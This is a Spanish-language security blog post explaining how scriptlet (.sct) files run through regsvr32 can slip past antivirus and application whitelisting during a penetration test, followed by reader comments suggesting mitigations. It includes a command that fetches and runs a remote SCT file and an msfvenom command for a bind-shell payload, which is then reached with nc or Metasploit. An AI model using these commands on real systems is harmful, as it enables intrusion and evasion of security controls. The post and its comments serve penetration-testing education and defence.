23 sept 2016

Bypassing AV y Whitelists con Scriptlets

Hace unas semanas, mi compañero de Eleven Paths, Cristian Borghello me pasó un artículo que hablaba de un bypass de AV y otros mecanismos de protección a través de ficheros SCT. Quizá algunos de vosotros piensen como yo, ¿Ficheros SCT? Yo, confieso que, tuve buscarlo. Existen tres formas de empaquetar un objeto COM+: mediante código nativo (DLL y EXE), clases de Java (.class) y Scriptlets (.sct). Estos últimos serán el protagonista de esta entrada. Los Scriptlets permiten una técnica potente de empaquetamiento porque proporcionan la forma de crear objetos COM+ implementados a través de ficheros XML. Los Scriptlets son ejecutados por el componente de ejecución (scrobj.dll). Para mayor detalle sobre los Scriptlets os recomendamos la lectura de InsideCOM+.

Como mencionaba mi compañero Cristian en la Comunidad de Eleven Paths, cuando un pentester está planificando un test de intrusión, se suele pensar en la etapa de análisis, explotación y post-explotación. Esta última etapa es, para muchos, quizás a la que menos tiempo se dedica en la preparación. ¿Por qué? Se suele pensar que una vez se compromete una máquina o una red, saltar las medidas de seguridad es sencillo, pero esto puede complicarse hasta puntos insospechados previamente. En otras palabras, no siempre la post-explotación es sencilla, dependerá de la madurez de algunos controles internos y políticas desplegadas en la organización.

El uso de herramientas no siempre nos va a proporcionar el éxito que necesitamos en una fase de post-explotación. Por esta razón, las nuevas técnicas que van apareciendo son importantes para los test de intrusión de hoy en día. Hace poco vimos un nuevo bypass UAC para Windows 7/10, para el que desarrollamos un módulo de Metasploit

La idea de poder ejecutar acciones en un sistema a través de Scriptlet COM es algo interesante a la hora de pasar desapercibido ante las medidas de protección de los sistemas. Los archivos SCT son altamente desconocidos. Al hacer doble click sobre ellos, se ejecuta el notepad.exe. Si queremos realmente ejecutarlos debemos hacerlo a través de la aplicación regsvr32. Algo del estilo: regsvr32 /s /u /i:<ruta hacia el fichero SCT> scrobj.dll. Lo más interesante es que al ser algo que no se suele ver o conocer por el gran público, permite saltar la seguridad del antivirus o una lista blanca que se encuentre configurada como medida de protección. Como me decía Cristian, la ofuscación es algo sencillo al ser un lenguaje interpretado. 

PoC: One shot!

Hemos llevado a cabo una prueba de concepto y es algo bastante sencillo de llevar a cabo. Desde el Github de SubTee disponemos de una prueba de concepto para ver el efecto y el potencial de la técnica. 


Al llevar al equipo víctima el fichero SCT y hacemos doble clic veremos que se nos abre un notepad.exe que nos muestra el contenido del fichero. Para llevar a cabo su ejecución lanzamos la siguiente instrucción: regsvr32 /s /u /i:[ruta fichero SCT] scrobj.dll.


La ruta del fichero SCT podría ser remota. En el ejemplo anterior, vemos como ejecutamos un fichero que se encuentra localmente en el equipo, pero en otro escenario podríamos traer el fichero SCT de un servidor web que tengamos en cualquier otro lado.
El fichero “calc.sct” contiene el código para abrir una calculadora en el sistema. Realmente si analizamos el código, vemos que tenemos la opción de ejecutar una shellcode, por lo que dicha shellcode se podría generar de manera sencilla con msfvenom, herramienta del framework Metasploit. 


Como se puede ver hay una sección dentro del XML del fichero SCT que permite la inclusión de código, en este caso JScript. Como se puede ver en la línea comentada con la ejecución de msfvenom, podemos generar otros payload y modificar el fichero para ejecutar otras cosas. 
Utilizando la instrucción msfvenom -p windows/shell_bind_tcp -a x86 –platform win -e [encoder] -f csharp LHOST=[IP] LPORT=[PORT], podemos almacenarlo y modificarlo en nuestro fichero SCT con el objetivo de poder llevar a cabo el bypass. Ahora, probaremos a ubicar el fichero SCT en un servidor remoto y llevaremos a cabo la ejecución de regsvr32 /s /u /i:http://ruta/ficheroSCT scrobj.dll. Esto provocará su ejecución y la shellcode se quedará a la escucha en el puerto configurado, para este ejemplo el 4444.


Como se puede ver en la imagen, tenemos a nuestra shellcode a la escucha en el puerto 4444. Ahora, podemos utilizar un nc o el módulo multi/handler de Metasploit para recuperar la sesión y poder interactuar con el sistema de manera remota.


Interesante técnica, que puede ser utilizada en un momento dado durante la realización de un pentesting o Ethical Hacking. Esta es una forma de evadir listas blancas de aplicaciones a utilizar y de que un sistema AV pueda detectarnos, al menos por ahora. Si conoces mitigaciones sobre esto coméntanosla, así como si conoces otro tipo de bypass.

2 comentarios:

  1. Buenas,al hacer uso de wscrip, podemos intentar paliarlo de esta forma:
    Cómo evitar infectarse con archivos JS adjuntos y ransomware
    http://blog.segu-info.com.ar/2016/03/como-evitar-infectarse-con-archivos-js.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+NoticiasSeguridadInformatica+%28Noticias+de+Seguridad+de+la+Informaci%C3%B3n%29

    Mind The Gap – Exploit Free Whitelisting Evasion Tactics
    https://www.insinuator.net/2016/03/mind-the-gap-exploit-free-whitelisting-evasion-tactics/

    Dado que podemos considerar los .SCT como "no normales", en la mayor parte de AV podemos definir y crear una regla que directamente denieguen el acesso a los *.SCT.
    En los servidores de ficheros de red, podemos habilitar igualmente un FileScreen de ficheros por dicha extensión para intentar paliar sus efectos.

    A nivel de firewall/proxy/IPS, siempre podremos crear reglas para evitar la descarga o acceso a contenido con dicha extensión.

    Si además podemos tener en los endpoint sistemas HIDS que detecten cambios en la ramas de current user, creación de ficheros en rutas para autoarranque, etc, este tipo de acciones se pueden mitigar mucho o al meos tener capacidad para detectarlas.

    Como siempre, muchas gracias por compartir el conocimiento!

    ResponderEliminar
  2. 1.- para ejecutar regsrv debes ser administrador.
    2.- firewall de Windows bloquear la app regsrv32 de acceso a internet.

    ResponderEliminar